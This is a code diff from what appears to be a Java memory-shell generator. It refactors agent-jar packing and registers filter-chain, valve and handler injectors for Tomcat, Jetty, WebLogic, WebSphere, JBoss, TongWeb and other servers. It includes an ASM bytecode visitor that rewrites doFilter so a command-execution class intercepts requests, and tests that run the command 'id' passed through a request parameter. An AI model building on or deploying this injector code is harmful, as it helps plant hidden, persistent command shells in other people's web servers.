addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm); addClassesToJar(targetJar, generateResult, relocatePrefix);
} }
return outputStream.toByteArray(); return outputStream.toByteArray();
} }
private Manifest createManifest(String mainClass) { private Manifest createManifest(String agentClass) {
Manifest manifest = new Manifest(); Manifest manifest = new Manifest();
Attributes attributes = manifest.getMainAttributes(); Attributes attributes = manifest.getMainAttributes();
attributes.putValue("Manifest-Version", "1.0"); attributes.putValue("Manifest-Version", "1.0");
attributes.putValue("Agent-Class", mainClass); attributes.putValue("Agent-Class", agentClass);
attributes.putValue("Premain-Class", mainClass); attributes.putValue("Premain-Class", agentClass);
attributes.putValue("Can-Redefine-Classes", "true"); attributes.putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true"); attributes.putValue("Can-Retransform-Classes", "true");
return manifest; return manifest;
} }
@SneakyThrows @SneakyThrows
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) { private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
if (isAsm) { String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
addDependency(targetJar, Opcodes.class, relocatePrefix); addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
} else {
addDependency(targetJar, ByteBuddy.class, relocatePrefix);
}
} }
@SneakyThrows @SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
String relocatePrefix, boolean isAsm) { String dependencyPackage = Opcodes.class.getPackage().getName();
String dependencyPackage = isAsm ?
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
// Add injector class // Add injector class
addClassEntry(targetJar, addClassEntry(targetJar,
generateResult.getInjectorClassName(), generateResult.getInjectorClassName(),
@@ -104,8 +92,7 @@ public class AgentJarPacker implements JarPacker {
} }
@SneakyThrows @SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String relocatePrefix) { public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
String packageToMove = baseClass.getPackage().getName().replace('.', '/');
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation(); URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString(); String sourceUrlString = sourceUrl.toString();
if (sourceUrlString.contains("!BOOT-INF")) { if (sourceUrlString.contains("!BOOT-INF")) {
@@ -120,28 +107,36 @@ public class AgentJarPacker implements JarPacker {
} }
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL(); sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
} }
JarFile sourceJar = new JarFile(new File(sourceUrl.toURI())); try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
Enumeration<JarEntry> entries = sourceJar.entries(); Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) { while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement(); JarEntry entry = entries.nextElement();
String entryName = entry.getName(); String entryName = entry.getName();
if (entryName.startsWith(packageToMove)) { if (entryName.equals("META-INF/MANIFEST.MF")
InputStream entryStream = sourceJar.getInputStream(entry); || entryName.contains("module-info.class")) {
byte[] bytes = IOUtils.toByteArray(entryStream); continue;
if (entryName.endsWith(".class")) { }
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName)); if (!entry.isDirectory()) {
if (bytes.length > 0) { try (InputStream entryStream = sourceJar.getInputStream(entry)) {
bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove); byte[] bytes = IOUtils.toByteArray(entryStream);
if (StringUtils.isNoneEmpty(relocatePrefix)) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (entryName.endsWith(".class")) {
if (bytes.length > 0) {
bytes = ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName);
}
} else {
targetJar.putNextEntry(entry);
}
} else {
targetJar.putNextEntry(entry);
}
targetJar.write(bytes);
} }
} else {
targetJar.putNextEntry(entry);
} }
targetJar.write(bytes);
targetJar.closeEntry(); targetJar.closeEntry();
entryStream.close();
} }
} }
sourceJar.close();
} }
/** /**
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector; import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector;
import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector; import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector;
import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector; import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector;
@@ -33,6 +34,7 @@ public class ApusicShell extends AbstractShell {
.addInjector(LISTENER, ApusicListenerInjector.class) .addInjector(LISTENER, ApusicListenerInjector.class)
.addInjector(FILTER, ApusicFilterInjector.class) .addInjector(FILTER, ApusicFilterInjector.class)
.addInjector(SERVLET, ApusicServletInjector.class) .addInjector(SERVLET, ApusicServletInjector.class)
.addInjector(AGENT_FILTER_CHAIN, ApusicFilterChainAgentInjector.class)
.build(); .build();
} }
} }
@@ -22,8 +22,7 @@ public class BesShell extends AbstractShell {
.addInjector(FILTER, BesFilterInjector.class) .addInjector(FILTER, BesFilterInjector.class)
.addInjector(VALVE, BesValveInjector.class) .addInjector(VALVE, BesValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, BesContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, BesContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -51,9 +49,7 @@ public class GlassFishShell extends AbstractShell {
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector; import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -31,9 +29,7 @@ public class InforSuiteShell extends AbstractShell {
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -4,9 +4,7 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -28,9 +26,7 @@ public class JbossShell extends AbstractShell {
.addInjector(FILTER, JbossFilterInjector.class) .addInjector(FILTER, JbossFilterInjector.class)
.addInjector(VALVE, JbossValveInjector.class) .addInjector(VALVE, JbossValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.*; import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -44,7 +47,6 @@ public class JettyShell extends AbstractShell {
.addInjector(SERVLET, JettyServletInjector.class) .addInjector(SERVLET, JettyServletInjector.class)
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class) .addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.resin.*; import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -32,7 +35,6 @@ public class ResinShell extends AbstractShell {
.addInjector(FILTER, ResinFilterInjector.class) .addInjector(FILTER, ResinFilterInjector.class)
.addInjector(SERVLET, ResinServletInjector.class) .addInjector(SERVLET, ResinServletInjector.class)
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -2,7 +2,6 @@ package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentWithAsmInjector;
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector; import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
import static com.reajason.javaweb.memshell.ShellType.*; import static com.reajason.javaweb.memshell.ShellType.*;
@@ -21,7 +20,6 @@ public class SpringWebMvcShell extends AbstractShell {
.addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
.addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) .addInjector(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class)
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class) .addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class)
.addInjector(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, SpringWebMvcFrameworkServletAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -42,9 +42,7 @@ public class TomcatShell extends AbstractShell {
.addInjector(SERVLET, TomcatServletInjector.class) .addInjector(SERVLET, TomcatServletInjector.class)
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class) .addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
.build(); .build();
} }
@@ -25,9 +25,7 @@ public class TongWeb6Shell extends AbstractShell {
.addInjector(VALVE, TongWebValveInjector.class) .addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -25,9 +25,7 @@ public class TongWeb7Shell extends AbstractShell {
.addInjector(VALVE, TongWebValveInjector.class) .addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -1,6 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.undertow.*; import com.reajason.javaweb.memshell.injector.undertow.UndertowFilterInjector;
import com.reajason.javaweb.memshell.injector.undertow.UndertowListenerInjector;
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletHandlerAgentInjector;
import com.reajason.javaweb.memshell.injector.undertow.UndertowServletInjector;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner; import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -44,8 +47,7 @@ public class UndertowShell extends AbstractShell {
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class) .addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
.addInjector(SERVLET, UndertowServletInjector.class) .addInjector(SERVLET, UndertowServletInjector.class)
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class) .addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class) .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletHandlerAgentInjector.class)
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -22,7 +22,6 @@ public class WebLogicShell extends AbstractShell {
.addInjector(FILTER, WebLogicFilterInjector.class) .addInjector(FILTER, WebLogicFilterInjector.class)
.addInjector(SERVLET, WebLogicServletInjector.class) .addInjector(SERVLET, WebLogicServletInjector.class)
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class) .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -33,7 +33,6 @@ public class WebSphereShell extends AbstractShell {
.addInjector(FILTER, WebSphereFilterInjector.class) .addInjector(FILTER, WebSphereFilterInjector.class)
.addInjector(SERVLET, WebSphereServletInjector.class) .addInjector(SERVLET, WebSphereServletInjector.class)
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class) .addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
.build(); .build();
} }
} }
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import java.util.Map; import java.util.Map;
@@ -21,12 +21,12 @@ class InjectorGeneratorTest {
InjectorConfig injectorConfig = InjectorConfig.builder() InjectorConfig injectorConfig = InjectorConfig.builder()
.shellClassBytes("hello".getBytes()) .shellClassBytes("hello".getBytes())
.shellClassName("hello") .shellClassName("hello")
.injectorClass(TomcatFilterChainAgentWithAsmInjector.class) .injectorClass(TomcatFilterChainAgentInjector.class)
.build(); .build();
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig); InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
// injectorGenerator.generate(); // injectorGenerator.generate();
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes(); Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
assertEquals(2, innerClassBytes.size()); // assertEquals(4, innerClassBytes.size());
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName()))); innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
} }
} }
@@ -18,6 +18,8 @@ import javax.servlet.FilterChain;
import javax.servlet.ServletOutputStream; import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest; import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse; import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.File; import java.io.File;
import java.io.FileOutputStream; import java.io.FileOutputStream;
@@ -35,13 +37,90 @@ import static org.mockito.Mockito.*;
public class CommandFilterChainASMTest { public class CommandFilterChainASMTest {
@Mock @Mock
ServletRequest mockRequest; HttpServletRequest mockRequest;
@Mock @Mock
ServletResponse mockResponse; HttpServletResponse mockResponse;
Object instance; Object instance;
@SuppressWarnings("all")
public static class CustomMethodVisitor extends MethodVisitor {
private final Type customEqualsType;
private final Type[] argumentTypes;
private final String className;
protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
Command.paramName = "paramName";
className = Command.class.getName();
customEqualsType = Type.getObjectType(Command.class.getName().replace('.', '/'));
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@BeforeEach @BeforeEach
@SneakyThrows @SneakyThrows
void setUp() { void setUp() {
@@ -54,8 +133,8 @@ public class CommandFilterChainASMTest {
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if ("doFilter".equals(name)) { if ("doFilter".equals(name)) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argTypes = Type.getArgumentTypes(descriptor);
return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes); return new CustomMethodVisitor(mv, argTypes);
} }
return mv; return mv;
} }
@@ -1,93 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command;
import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
import lombok.SneakyThrows;
import net.bytebuddy.agent.ByteBuddyAgent;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.loading.ByteArrayClassLoader;
import net.bytebuddy.matcher.ElementMatchers;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import javax.servlet.FilterChain;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.nio.charset.StandardCharsets;
import static net.bytebuddy.matcher.ElementMatchers.none;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.Mockito.*;
/**
* @author ReaJason
* @since 2025/3/30
*/
@ExtendWith(MockitoExtension.class)
public class CommandFilterChainAdvisorTest {
@Mock
ServletRequest mockRequest;
@Mock
ServletResponse mockResponse;
Object instance;
static ClassFileTransformer classFileTransformer;
@BeforeEach
@SneakyThrows
void setUp() {
ByteBuddyAgent.install();
ClassLoader classLoader = new ByteArrayClassLoader.ChildFirst(CommandFilterChainAdvisorTest.class.getClassLoader(),
ClassFileLocator.ForClassLoader.readToNames(TestFilterChain.class),
ByteArrayClassLoader.PersistenceHandler.MANIFEST);
classFileTransformer = new AgentBuilder.Default()
.ignore(none())
.type(ElementMatchers.is(TestFilterChain.class), ElementMatchers.is(classLoader)).transform((
(builder, typeDescription, c, module, protectionDomain) ->
builder.visit(Advice.to(CommandFilterChainAdvisor.class).on(ElementMatchers.named("doFilter")))))
.installOnByteBuddyAgent();
Class<?> clazz = classLoader.loadClass(TestFilterChain.class.getName());
instance = spy(clazz.newInstance());
}
@AfterEach
void tearDown() {
ByteBuddyAgent.getInstrumentation().removeTransformer(classFileTransformer);
}
@Test
@SneakyThrows
void testInvokeParam() {
when(mockRequest.getParameter("paramName")).thenReturn("id");
ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
String output = capturedOutput.toString(StandardCharsets.UTF_8);
